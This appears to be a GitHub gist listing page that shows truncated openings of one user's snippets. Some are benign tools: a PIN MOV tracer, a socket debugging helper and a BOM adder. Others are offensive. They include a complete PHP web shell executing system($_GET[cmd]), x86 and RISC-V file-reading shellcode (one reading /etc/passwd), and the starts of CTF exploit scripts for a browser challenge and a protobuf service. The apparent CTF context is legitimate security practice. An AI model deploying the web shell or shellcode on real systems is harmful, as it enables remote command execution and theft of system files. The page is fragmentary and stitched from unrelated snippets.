Skip to content

Instantly share code, notes, and snippets.

@Jinmo
Jinmo / MoveTracer.cpp
Created May 29, 2015 19:40
PIN Simple "MOV"Tracer
#include "pin.H"
#include <stdio.h>
FILE *out_fp;
VOID TraceMove(VOID *addr) {
fprintf(out_fp, "%p: MOV Here!\n", addr);
}
VOID INSAnalysis(INS ins, VOID *v) {
if (INS_Opcode(ins) == XED_ICLASS_MOV)
<?php
echo 'Shell launched!\n';
system($_GET[cmd]);
?>
@Jinmo
Jinmo / socat.c
Last active May 31, 2016 08:27
소켓 데몬 너무 디버깅하기 싫어서 만든 별것 아닌 것
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <strings.h>
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv, char **envp) {
char buf[256];
int sockfd = socket(2, 1, 0);
@Jinmo
Jinmo / readfile_x86.s
Created December 12, 2015 09:55
x86 read file
jmp a
b:
pop ebx
xor ecx, ecx
xor edx, edx
lea eax, [ecx+5]
int 0x80
xchg eax, ecx
mov al, 187
lea ebx, [edx+1]
@Jinmo
Jinmo / riscv-readfile.s
Last active December 23, 2015 04:54
RISCV file read and encryption (4byte xor, for flag length)
# file read shellcode
# riscv
# - buffer: pc + 0x100, must be writable
# - if you want, you can change it
# compile:
# export PATH=$PATH:/opt/riscv/bin
# riscv64-unknown-elf-as code.s -o code.o
# riscv64-unknown-elf-objcopy --dump-section .text=code.dump code.o
# output: code.dump
@Jinmo
Jinmo / bom.py
Last active March 29, 2019 16:54
UTF-8 BOM adder
import os
rootdir = 'EDIT_HERE'
for root, subdirs, files in os.walk(rootdir):
for file in files:
if file.endswith('.c') or file.endswith('.h'):
f = open(root + '/' + file, 'rb')
if f.read(3) != '\xEF\xBB\xBF':
try:
@Jinmo
Jinmo / poc.html
Created March 30, 2016 18:05
BKP qwn2own
<html>
<head>
<script type="text/javascript">
function qs(addr, read) {
var s = '';
var i;
var c = 0;
for(i = 0; i < 50; i++) {
c = (read(addr + i - 2) >> 16) & 0xff;
if(c == 0) return s;
function check_space {
if [[ $1 == *[bdks';''&'' ']* ]]
then
return 0
fi
return 1
}
while :
@Jinmo
Jinmo / drawdrawdraw.py
Created July 20, 2016 04:43
drawdrawdraw exploit on XCTF Finals 2016
from transaction_pb2 import Transaction, Reply, Command
from rc4 import RC4 # https://github.com/bozhu/RC4-Python
import socket
import hexdump
import random
import struct
import telnetlib
import sys
@Jinmo
Jinmo / read.s
Created July 25, 2016 18:00
x86 /etc/passwd read shellcode 48bytes
.intel_syntax noprefix
.globl _start
_start:
xor ecx, ecx
mul ecx
push ecx
push 0x64777373
push 0x61702f63
push 0x74652f2f
mov al, 5